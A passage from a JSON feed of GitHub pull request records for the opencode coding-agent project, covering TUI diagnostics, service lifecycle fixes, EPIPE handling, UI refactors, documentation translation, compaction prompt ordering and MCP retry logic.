        "updatedAt": "2026-08-13T07:17:11Z",
        "timestamp": "2026-08-13T07:17:11Z",
        "metrics": {
          "reactions": 0,
          "comments": 7
        },
        "labels": [
          "beta"
        ],
        "author": "Hona",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41940",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): surface plugin failures",
        "text": "## What Surface failed MCP servers and TUI plugins directly from the new-session screen, with `/mcps` and `/plugins` as direct paths to full diagnostics. Failed rows open one shared error-details view with scrolling and copy support. A failed hot reload that keeps the previous plugin version running remains toggleable, so diagnostics do not remove the user's ability to stop it. ## Before / After **Before:** plugin failures appeared only as transient toasts. MCP failures showed only a generic indicator, and narrow terminals could clip multiple failure hints. A failed hot reload could also leave the previous plugin running without a control to deactivate it. **After:** persistent failure counts appear in the home footer, Enter opens the complete error, `C` copies it, and command hints collapse before labels at narrow widths. Failed-but-active plugins preserve both error inspection and the normal toggle action. ## How - `dialog-error-details.tsx` provides the shared scroll, copy, and back interaction used by MCP and plugin failures. - `plugin/context.tsx` carries the registration ID on failed states when a last-good plugin survives. - `system/plugins.tsx` combines runtime state with registrations, omits unsupported targets from actionable rows, and separates Enter-to-inspect from toggle. - `home/footer.tsx` reports exact failure counts and progressively hides secondary hints at 64 and 80 columns. ## Scope This changes TUI diagnostics only. It does not change plugin loading, retry, or MCP connection behavior. ## Testing - `bun typecheck` in `packages/tui` - `bun run test test/plugin-reload.test.ts test/plugin-hot-reload.test.tsx test/feature-plugins/home-footer.test.ts` in `packages/tui` - repository pre-push typecheck across 32 packages - OpenCode Drive against commit `d480f5c449`: started with a failed MCP, broke a live plugin during hot reload, verified failure counts, retained toggle, plugin and MCP details, copy feedback, back navigation, and the 50-column footer ## Demo OpenCode Drive with deterministic local failure fixtures. The previous plugin version remains active after the failed hot reload. https://github.com/user-attachments/assets/d4d32e14-9299-476e-920f-66e6f52dd1d0 ## Flow ```mermaid flowchart LR Failure[Plugin or MCP fails] --> Footer[Persistent failure count] Footer --> Command[/plugins or /mcps] Command --> Row[Failed row] Row -->|Enter| Details[Scrollable error details] Details -->|C| Copy[Copy full error] Row -->|Toggle shortcut| Stop[Deactivate last-good plugin] ```",
        "url": "https://github.com/anomalyco/opencode/pull/41940",
        "createdAt": "2026-08-12T03:33:44Z",
        "updatedAt": "2026-08-12T14:51:03Z",
        "timestamp": "2026-08-12T14:51:03Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41945",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): isolate workspace config state",
        "text": "### Issue for this PR Closes #41916 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Nested values merged from the global config cache could retain shared references. A plugin config hook mutating one workspace could therefore leak MCP configuration into workspaces loaded later by the same process. This returns a structured clone from `Config.getGlobal()` before workspace merging. Plugin hooks can still mutate their workspace config, while the global cache and other workspaces remain isolated. A regression test covers two workspaces loaded in the same process. ### How did you verify your code works? - `bun test test/config/config.test.ts --timeout 30000` — 97 passed - `bun x prettier --check src/config/config.ts test/config/config.test.ts` - `git diff --check` ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41945",
        "createdAt": "2026-08-12T04:05:31Z",
        "updatedAt": "2026-08-12T23:32:02Z",
        "timestamp": "2026-08-12T23:32:02Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "Nath-Vikky",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41946",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(cli): harden managed service replacement",
        "text": "## What Prevent managed-service restart storms when a running TUI outlives an automatic CLI update, and harden lifecycle recovery so clients never terminate a process from registration data alone. This fixes the incident where a `next-17271` TUI remained alive after the installed package became `next-17272`. The old process repeatedly treated each `17272` service it spawned as incompatible, stopped it, and spawned the same newer binary again. The TUI repeatedly lost transport, migration polling mislabeled the disconnect as a data migration failure, and restart recovery added repeated continuation entries. The lifecycle rules are now explicit: | Caller | Registered service | Behavior | | --- | --- | --- | | fresh newer client | older service | authenticated exact-instance stop, then start installed version | | interactive older TUI | newer service | ask once; Enter performs authenticated downgrade, cancel leaves the owner untouched | | noninteractive older client | newer service | bounded `VersionMismatchError`; never stop or spawn | | explicit `service restart` | newer service after deliberate downgrade | authenticated exact-instance stop, then require installed older version | | reconnecting TUI | any modern version | version-agnostic reconnect; never activate replacement | | any client | unresponsive or legacy service | never send an OS signal; return manual recovery guidance | | any client | unknown/incomparable version | non-destructive mismatch; replacement can never be mutual | ## Before / After **Before** 1. A `next-17271` TUI launched and started an asynchronous update. 2. The installed executable became `next-17272`, while the TUI process image remained `17271`. 3. The stale TUI spawned `serve --service`; the on-disk executable started `17272`. 4. The stale TUI observed `17272` as a mismatch and stopped it. 5. It spawned the same `17272` executable again, repeating roughly every two seconds. 6. Each short-lived server ran restart continuity, disconnected event streams, and made migration polling throw `Transport`. **After** 1. Version replacement has a directional policy. 2. A newer fresh launch may activate an upgrade. 3. An older interactive TUI asks before activating a downgrade; Escape or Ctrl+C leaves the newer service untouched. 4. Noninteractive clients receive an actionable error, while explicit restart remains the deliberate command-level downgrade operation. 5. Reconnect remains versionless and cannot join a replacement loop. 6. Lifecycle code uses only authenticated `/api/service/stop`; it has no `SIGTERM` or `SIGKILL` path. 7. Transport failure during migration polling is retried instead of reported as migration corruption. ## How - `packages/client/src/service.ts` - compares release and preview build numbers directionally for CLI and desktop; - makes replacement explicit opt-in for all client consumers; - treats missing, malformed, and incomparable versions as non-destructive; - guarantees that two versions can never both replace each other. - `packages/client/src/effect/service.ts` and `packages/client/src/promise/service.ts` - return `VersionMismatchError` when replacement policy protects the owner; - remove automatic unresponsive-owner eviction; - remove legacy and timeout-based OS signal fallback; - surface rejected, unsupported, timed-out, and non-exiting stop failures; - remove dead timeout, identity-comparison, and probe-wrapper machinery. - `packages/client/src/promise/service.ts` - validates registration and health structures with Effect-equivalent constraints; - rejects invalid PIDs, primitive health JSON, partial modern responses, and wrong field types. - `packages/cli/src/commands/handlers/service/restart.ts` - requires the installed version after explicit restart, including deliberate downgrade. - `packages/cli/src/services/server-connection.ts` - preserves versionless reconnect; - offers interactive confirmation only when the running service is provably newer; - makes confirmed and command-level restart require the installed version. - `packages/cli/src/services/update-preflight.tsx` - renders the downgrade confirmation before the existing restart footer; - adds one cell of left padding to both mini-TUI states. - `packages/desktop/src/main/background-cli.ts` - shares the directional upgrade-only policy instead of inheriting permissive replacement. - `packages/tui/src/component/migration-overlay.tsx` - retries transient `ClientError(\"Transport\")` instead of showing `Data migration failed`; - exits retry delays after overlay cleanup. ## Scope This PR is the incident containment and client-side safety layer. It deliberately does not implement the larger ownership redesign already described in `docs/design/service-lifecycle.md`: - lifetime process-held OS service ownership; - registration self-repair instead of registration-driven owner shutdown; - globally coordinated contender spawning across client processes; - exact health `instanceID` and explicit lifecycle-state protocol fields; - automatic recovery of a truly frozen service without a safe OS process-identity primitive. The last point is intentionally conservative: a stale registration PID may have been reused by another application, so this PR refuses to signal it. ## Testing - `cd packages/client && bun run test`: 64 passed. - `cd packages/client && bun typecheck`: passed. - `cd packages/cli && bun run test test/service.test.ts test/server-connection.test.ts --test-name-pattern 'managed version replacement|only newer clients|resolution groups|service options|concurrent service processes'`: 5 passed. - `cd packages/cli && bun typecheck`: passed. - `cd packages/desktop && bun typecheck`: passed. - `cd packages/tui && bun run test`: 661 passed, 5 skipped. - `cd packages/tui && bun typecheck`: passed. - High-risk lifecycle subset repeated 10 times on the committed code: no failures. - Version-order and anti-mutual-replacement subset repeated 25 times after the final simplify pass: no failures. - Pre-push repository typecheck: 32 packages passed. - PTY checks at 100 and 64 columns: Enter confirmed; Escape and Ctrl+C cancelled; renderer teardown returned clean output; left inset and wrapping verified. The lifecycle battery covers: - twenty mixed Effect/Promise launchers converging on one replacement owner; - stale clients refusing to replace newer owners; - explicit downgrade activation through restart; - ready, starting, failed, unresponsive, rejecting, timeout, and legacy owners; - malformed registrations and health payloads; - no automatic eviction and no OS signal fallback; - exact authenticated stop identity; - contender success, failure, signal, delay, and loser convergence; - symmetric version-pair checks proving replacement is never mutual. ## Flow ```mermaid sequenceDiagram participant TUI as Fresh TUI participant Reg as Registration participant Old as Current service participant New as Installed service TUI->>Reg: Read and authenticate owner Reg-->>TUI: version + exact instance alt installed version is newer TUI->>Old: POST /api/service/stop(instanceID) Old-->>TUI: accepted Old-->>Old: graceful shutdown TUI->>New: spawn installed binary New-->>Reg: publish new owner TUI->>New: attach when ready else installed version is older TUI-->>TUI: Ask for downgrade confirmation alt user confirms TUI->>Old: POST /api/service/stop(instanceID) TUI->>New: spawn installed older binary else user cancels or caller is noninteractive TUI-->>TUI: Keep newer owner untouched end else reconnect TUI->>Reg: rediscover without version gate TUI->>Old: attach to current owner end ```",
        "url": "https://github.com/anomalyco/opencode/pull/41946",
        "createdAt": "2026-08-12T04:16:59Z",
        "updatedAt": "2026-08-12T23:53:19Z",
        "timestamp": "2026-08-12T23:53:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41954",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): return content-only Code Mode results",
        "text": "## Summary - promote text content into the Code Mode return value when a tool has no declared structured output - keep declared structured outputs unchanged and continue collecting file content separately - cover content-only Promise plugin and MCP tool execution through Code Mode Fixes #41949 ## Testing - `bun test test/plugin/promise.test.ts test/mcp.test.ts` - `bun typecheck` - `bun x prettier --check packages/core/src/codemode/tool.ts packages/core/test/plugin/promise.test.ts packages/core/test/mcp.test.ts` Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/41954",
        "timestamp": "2026-08-12T14:14:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41968",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(cli): survive broken stdio pipes",
        "text": "The compiled Bun CLI dies from unhandled EPIPE errors in two distinct ways, and both are fatal for the background service. 1. Stdio pipes: when the consumer of the service's stdout/stderr goes away while the server keeps logging, the next write raises EPIPE. The Node wrapper guarded stdout only; the Bun-compiled binary that the desktop stages had no guard, and the desktop supervisor pipes stderr. 2. Native async pipe writes: the service also crashed reproducibly during the boot-time project copy refresh with a stack-less EPIPE raised from native async I/O completion (a git child stdin or socket write racing a peer disconnect). These errors carry no JS frames, so they bypass every Effect error channel and surface as an uncaught exception: ``` UNCAUGHT uncaughtException EPIPE: broken pipe, write ``` This made `bun dev:desktop` unusable: the service registered, answered the readiness probe, then died seconds later during its boot refresh, and the renderer looped on \"event stream disconnected\" forever. The fix is one idempotent `guardStdio()` in the shared CLI entry, called by both entrypoints: - stream error listeners on stdout and stderr that swallow EPIPE and rethrow everything else - process-level `uncaughtException` and `unhandledRejection` handlers that swallow EPIPE only and preserve fatal semantics (print and exit 1) for everything else A broken pipe is always a peer disconnect and must never terminate the server process. Validated on Windows: with the guard the service survives its boot project copy refresh (previously a reliable crash under concurrent-service git contention), keeps listening, and survives its spawner tree being killed while it logs.",
        "url": "https://github.com/anomalyco/opencode/pull/41968",
        "createdAt": "2026-08-12T08:08:34Z",
        "updatedAt": "2026-08-12T23:35:35Z",
        "timestamp": "2026-08-12T23:35:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "Hona",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41977",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(app): align UI packages with solid best practices",
        "text": "## Summary Audit of the app UI against SolidJS best practices ([reference](https://www.brenelz.com/posts/solid-js-best-practices/)), with fixes across `packages/app`, `packages/ui`, and `packages/session-ui`. ### Pass values to JSX props, not signal accessors Components received `Accessor<T>` / `() => T` props and called them internally. JSX props compile to getters, so plain value props stay reactive and components no longer need to know whether a prop came from a signal. - Home views: `HomeProjectsView` (7 props), `HomeSessionsView` (11 props), `HomeSessionStatusController`, sortable row `index` props - Titlebar: `TitlebarTabStrip`, `SessionTabSlot`/`SessionTabEntry`/`DraftTabSlot`, `TabNavItem`/`DraftTabItem`, `TitlebarUpdate` (now object property getters built in `pages/layout.tsx`) - Session page: `SessionSidePanel`, `SessionReviewTab`, `ReviewPanelV2` + sidebar, `MessageTimeline` (`hasScrollGesture`, `shouldAnchorBottom`), `TimelineRowFrame`, `SortableTabV2`/`SortableTerminalTabV2` - Dialogs/settings: `DialogConnectProvider` + pickers (`directory`), `SettingsProvidersV2`, `ModelSelectorPopoverV2View`, `SettingsKeybindsV2View`, `NewSessionStatus` - Context providers: `SDKProvider`, `ModelsProvider`, `ServerSDKProvider`, `ServerSyncProvider`, `DirectoryDataProvider` (also removes the `string | Accessor<string>` union unwrap) - Shared: `ScrollView` `thumbContainer`/`thumbHoverTarget` (union unwrap helper removed), `FileSearchBar`, `MarkdownCopyButton` Where a value feeds a factory that requires an accessor (e.g. `useSortable`, `useProviders`), the component wraps it as `() => props.x` at that boundary. `reviewPanelV2Props` in `session.tsx` keeps its documented deferred-read getter object; `diffs`/`diffsReady` now use property getters to match. ### Use control-flow components Converted inline `cond && <X/>`, JSX ternaries, and `.map` in JSX to `<Show>`/`<For>`/`<Index>`/`<Switch>`: - `dialog-release-notes.tsx` (also removes the `feature()!.media!` non-null assertions via the `Show` callback form), `server-row.tsx`, `status-popover-body.tsx`, `windows-app-menu.tsx`, `debug-bar.tsx`, `titlebar.tsx`, `pages/layout.tsx`, `session.tsx` error boundary and panel frame, `session-todo-dock.tsx` (nested ternary to `Switch`/`Match`), `card.tsx`, `dialog-v2.tsx`, `list.tsx`, `toast.tsx`, and story files - Two deliberate exceptions, each with a comment: `windows-app-menu.tsx` keeps an early return inside the `<For>` callback because a `Show` fallback loses the union narrowing on static menu data, and `toast-v2.tsx` keeps a static `.map` because that JSX is created imperatively outside any Solid root, where a `<For>` computation would never be disposed ### Effects - Removed a dead effect in `status-popover-body.tsx` - `pages/layout.tsx`: `createEffect(() => setV2Toast(true))` (no dependencies) is now `onMount` - `terminal.tsx`: documented the intentional mount-time `sdk()` capture ### Stores - `timeline-playground.stories.tsx`: object-holding signal converted to `createStore` with `reconcile` to keep replace semantics ## Intentionally not changed - Reset-on-key-change and persistence-normalization effects (`global.tsx`, `local.tsx`, review-mode clamp, handoff mirrors): these write durable/persisted state on purpose; a derived value would change persistence semantics - Async-fetch effects (`file-media.tsx`, `open-in-app.tsx`, etc.): converting to `createResource` is a behavioral rewrite, out of scope here - Controller-style bundles (`ReviewPanelV2State`, `SessionFileBrowserState`): objects mixing getters with actions, matching the established controller pattern ## Validation - `bun typecheck` passes in `packages/app`, `packages/ui`, `packages/session-ui`, `packages/desktop` - Unit tests pass: app (676), ui (27), session-ui (83) - Prettier applied to touched files",
        "url": "https://github.com/anomalyco/opencode/pull/41977",
        "createdAt": "2026-08-12T08:57:31Z",
        "updatedAt": "2026-08-13T01:23:41Z",
        "timestamp": "2026-08-13T01:23:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "beta"
        ],
        "author": "Hona",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41980",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs(zh-cn): sync agents page with latest English version",
        "text": "### Issue for this PR Closes #42220 ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Two related zh-cn documentation improvements: 1. **Terminology unification**: The zh-cn docs used 代理 for \"Agent\" while the UI (zh.ts) uses 智能体. Replaced 代理 with 智能体 across 19 files (docs + i18n), excluding network.mdx/providers.mdx where 代理 means network proxy, and zh-tw which consistently uses 代理程式. 2. **agents page sync**: Re-translated packages/web/src/content/docs/zh-cn/agents.mdx against the latest English version (781 lines). Fixes content that was out of sync since the last update (2026-05-08): added the Tools (deprecated) notice, the full permission key table, updated session navigation keybinds, and switched config examples from the legacy `tools` field to `permission`. ### How did you verify your code works? - Compared the zh-cn page section-by-section against the English source (structure, code blocks, tip/note/caution blocks, table). - Grepped for remaining 代理 in agents.mdx (none; only proxy-related files keep it). - No zh-tw or English files touched. ### Screenshots / recordings N/A — text-only translation change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41980",
        "createdAt": "2026-08-12T09:02:51Z",
        "updatedAt": "2026-08-13T02:32:14Z",
        "timestamp": "2026-08-13T02:32:14Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "lianginx",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42000",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): expose local attachment path to the model",
        "text": "Fixes #41454. ## Problem When a user attaches an image, PDF, or other binary file in the TUI (or the Web app) the part is sent to the model as a Vercel AI SDK `file` part with only the basename and the data URL. The on-disk path is kept in `FilePartSource` for UI metadata but is never threaded through to the model context, so the agent cannot reference the file from scripts or even tell the user which local file it is looking at. Repro on V2: 1. In the TUI, paste a local file path (e.g. `/home/user/Pictures/IMG_3480.JPG`) 2. Send any message 3. Ask the model \"what is the path of the attached file?\" 4. Model reports the file content as `[Image 1]` and says it has no path or filename. ## Fix Plumbs the original local path end-to-end: - **`FilePart` / `FilePartInput` (v1 schema, `packages/schema/src/v1/session.ts`)** gain an optional `path` field distinct from `filename` (basename) and `source.path` (UI metadata). Both are additive — old clients continue to work. - **`V2 FilePart` (`packages/opencode/src/session/message.ts`)** gains the same optional `path` field so the path is available where the model message is assembled. - **TUI `pasteAttachment` (`packages/tui/src/component/prompt/index.tsx`)** now sets `path: file.filepath` on the `FilePart` so an attached `/home/user/Pictures/IMG_3480.JPG` is recorded with its full path rather than just `IMG_3480.JPG`. - **Web app `build-request-parts.ts` (`packages/app/src/components/prompt-input/`)** sets `path` on every file part: user-attached files, context files, comment mentions, and pasted images. - **`toModelMessagesEffect` (`packages/opencode/src/session/message-v2.ts`)** prepends a short text annotation `[Attached file: <name> (<path>)]` to the user message when the path is known, so the model can see and act on the local path alongside the image content. When only the legacy `source.path` is set (older client, ACP, or stored sessions written before this change) the annotation is still emitted. - **Tests** (`packages/opencode/test/session/message-v2.test.ts`): three new cases cover the new `path` branch, the legacy `source.path` branch, and the no-path no-op case. The existing user/assistant/tool test is preserved. ## Backwards compatibility - Every change is additive. Existing clients, stored sessions, and ACP tools that do not set `path` keep working unchanged. - The text annotation is only injected when a path is known, so pre-existing messages (which never had one) round-trip exactly as before. ## Verification Local validation: `bun install` + targeted bun test for the opencode package was attempted on Windows but the workspace install was hanging on a 196k-star monorepo in a non-official environment, so final validation is deferred to CI on Linux. The new tests in `message-v2.test.ts` will run in the opencode package's existing `bun test` CI job and cover the new behavior.",
        "url": "https://github.com/anomalyco/opencode/pull/42000",
        "timestamp": "2026-08-12T13:30:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "karandhaodiyal28-hash",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42001",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(core): add MiniMax image generation tool",
        "text": "Reason: MiniMax image generation is not available as an executable tool on the default branch. ## Summary - add the canonical `minimax_image_generation` built-in tool with permission checks and credential-safe failures - support the global and China image endpoints, both current image models, and the documented text-to-image request controls - return generated URLs as text and base64 images as typed file content ## Checks - `bun typecheck` - `bun test test/tool-minimax-image-generation.test.ts test/location-layer.test.ts test/session-runner-tool-registry.test.ts`",
        "url": "https://github.com/anomalyco/opencode/pull/42001",
        "timestamp": "2026-08-12T13:30:46Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "octo-patch",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42005",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat: voice input",
        "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? This thing provides the ability to use microphone and your voice to talk with AI agents using web version ### How did you verify your code works? Manual testing. ### Screenshots / recordings <img width=\"924\" height=\"394\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bef7f120-c2cf-4fb7-b73a-76b3d0c24a48\" /> <img width=\"975\" height=\"334\" alt=\"image\" src=\"https://github.com/user-attachments/assets/815e4dd7-7f17-4ea0-916c-1ee9663266a4\" /> <img width=\"1021\" height=\"418\" alt=\"image\" src=\"https://github.com/user-attachments/assets/38152db7-f446-4e08-adcb-e70678094739\" /> <img width=\"1305\" height=\"712\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e4bad045-5c90-4ec5-beb8-72678bfeb0bf\" /> ### Checklist - [x] I have tested my changes locally - [ ] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42005",
        "timestamp": "2026-08-12T14:26:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "js2me",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42012",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(compaction): place summary instruction after conversation history",
        "text": "### Issue for this PR Closes #41801 Refs #41268 Refs #41358 Refs #36682 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `/compact` (and auto-compaction) sends the summarization request as one user message: summary instruction first, then the serialized conversation. The conversation is formatted as a chat log (`[User]:` / `[Assistant]:`) and ends with a real user question from the past session, so the model answers that old question (or reproduces the transcript) instead of producing the summary — the instruction at the start is diluted, especially on 1M-context models like `opencode-go/deepseek-v4-flash` where the whole session fits. The summary template itself says \"using the conversation history above\", i.e. history-first was the intended layout; the call site inverts it. Change: put the conversation first, then \"End of conversation history.\", then the summary instruction + template, ending with an explicit guard that the history is reference material only and only the anchored summary must be output. Applied to both paths: 1. `packages/opencode/src/session/compaction.ts` — manual `/compact` and CLI auto-compaction. 2. `packages/core/src/session/compaction.ts` — runner/`make()` auto-compaction. The `experimental.session.compacting` plugin hook still works; a plugin-provided `prompt` now lands after the history. ### How did you verify your code works? - `tsgo --noEmit` typecheck passes for `packages/opencode` and `packages/core`. - New regression test `session.compaction.process > places the summary instruction after the conversation history` in `packages/opencode/test/session/compaction.test.ts` asserts the history precedes the instruction and that the guard line is the last content after any `[User]:` turn. - Full `test/session/compaction.test.ts` (54 pass), `test/session/revert-compact.test.ts` (8 pass) and `packages/core/test/session-compaction.test.ts` (2 pass) run green. - `oxlint` on both changed source files: 0 warnings, 0 errors. - Manual verification on a long session with `opencode-go/deepseek-v4-flash` (1M context): `/compact` now returns the anchored summary instead of answering the last question from the session. ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42012",
        "createdAt": "2026-08-12T11:56:01Z",
        "updatedAt": "2026-08-12T16:04:04Z",
        "timestamp": "2026-08-12T16:04:04Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "akenra",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42020",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(mcp): retry local server connection on transient spawn failures",
        "text": "### Issue for this PR Closes #41996 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When opencode spawns MCP servers in parallel (`concurrency: \"unbounded\"` in `packages/opencode/src/mcp/index.ts`), transient races — e.g. `bun x` cache contention while many subprocesses resolve dependencies at once — can kill a subprocess before it completes the MCP initialize handshake. This surfaces as intermittent `Connection closed` / `server unavailable` errors where a different MCP fails on each run. `connectLocal` now re-attempts the connection with exponential backoff (200ms, 2 retries) for transient failures. Re-spawning the process resolves the race because the second spawn hits a warm cache. Permanent errors are not retried: missing binary / invalid command (ENOENT, EACCES, EPERM, \"not found\") and initialization timeouts. ### How did you verify your code works? Repro (from #41996): ```sh for i in 1 2 3; do opencode mcp list 2>&1 | grep -cE \"fail|error\"; done ``` Underlying race reproduced with 3 concurrent `bun x` spawns of the same package — one process dies with `FileNotFound: failed copying files from cache to destination for package googleapis`. With the fix, `connectLocal` retries the failed spawn and connects on the second attempt. Verification: `bun run typecheck` clean; oxlint clean on the touched file (4 pre-existing warnings only); `bun test test/server/httpapi-mcp.test.ts` 5/5 pass. ### Screenshots / recordings n/a ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42020",
        "createdAt": "2026-08-12T12:43:11Z",
        "updatedAt": "2026-08-13T02:09:24Z",
        "timestamp": "2026-08-13T02:09:24Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "ImBIOS",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42021",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(web/desktop): restore agent mode selector and Linux old-layout eligibility",
        "text": "Restores the composer agent selector (build/plan) when only built-in agents are present, and makes existing Linux/macOS desktop installs eligible to opt back into the previous dashboard. - app: `isAgentsVisible` shows the selector whenever more than one selectable agent exists (matches the legacy composer). - desktop: old-layout eligibility now also checks the previous Tauri data directory. Closes #39665 Refs #38111",
        "url": "https://github.com/anomalyco/opencode/pull/42021",
        "createdAt": "2026-08-12T12:43:34Z",
        "updatedAt": "2026-08-12T14:49:23Z",
        "timestamp": "2026-08-12T14:49:23Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "needs:title"
        ],
        "author": "rasraz",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42022",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): validate upgrade requests",
        "text": "## Summary - require `application/json` for `POST /global/upgrade`, forcing browser cross-origin calls through CORS preflight - reject upgrade targets that are not valid semantic versions - cover JSON, content-type, and semver behavior with focused HTTP API tests ## Checks - `bun test test/server/httpapi-global.test.ts` - `bun run generate` from `packages/client` - Prettier check on changed files - `bun typecheck` attempted from `packages/opencode` but did not complete within 10 minutes on the shared host Requested by: @thdxr (Dax via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42022",
        "timestamp": "2026-08-12T13:15:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42023",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(client): support service version ranges",
        "text": "### Issue for this PR Closes #42010 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Allows the existing `version` option in `Service.discover()` and `Service.ensure()` to accept npm semver ranges as well as exact values. ```ts await Service.ensure({ version: \">=2.0.0 <3.0.0\" }) ``` Valid semver expressions are matched as ranges, including prereleases. Non-semver values such as `local` and `test` keep their existing exact-string behavior. Promise and Effect service clients use the same matcher. ### How did you verify your code works? - `cd packages/client && bun test` (57 passed) - `cd packages/client && bun run typecheck` - `cd packages/client && bun run build` - Repository pre-push typecheck (32 packages passed) - Prettier and `git diff --check` Repository-wide lint still has one unrelated existing error in `packages/session-ui/src/v2/components/prompt-input/index.tsx:163`; targeted lint for the changed client files has zero errors. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42023",
        "createdAt": "2026-08-12T13:15:49Z",
        "updatedAt": "2026-08-12T16:01:39Z",
        "timestamp": "2026-08-12T16:01:39Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "mattrobrob",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42025",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
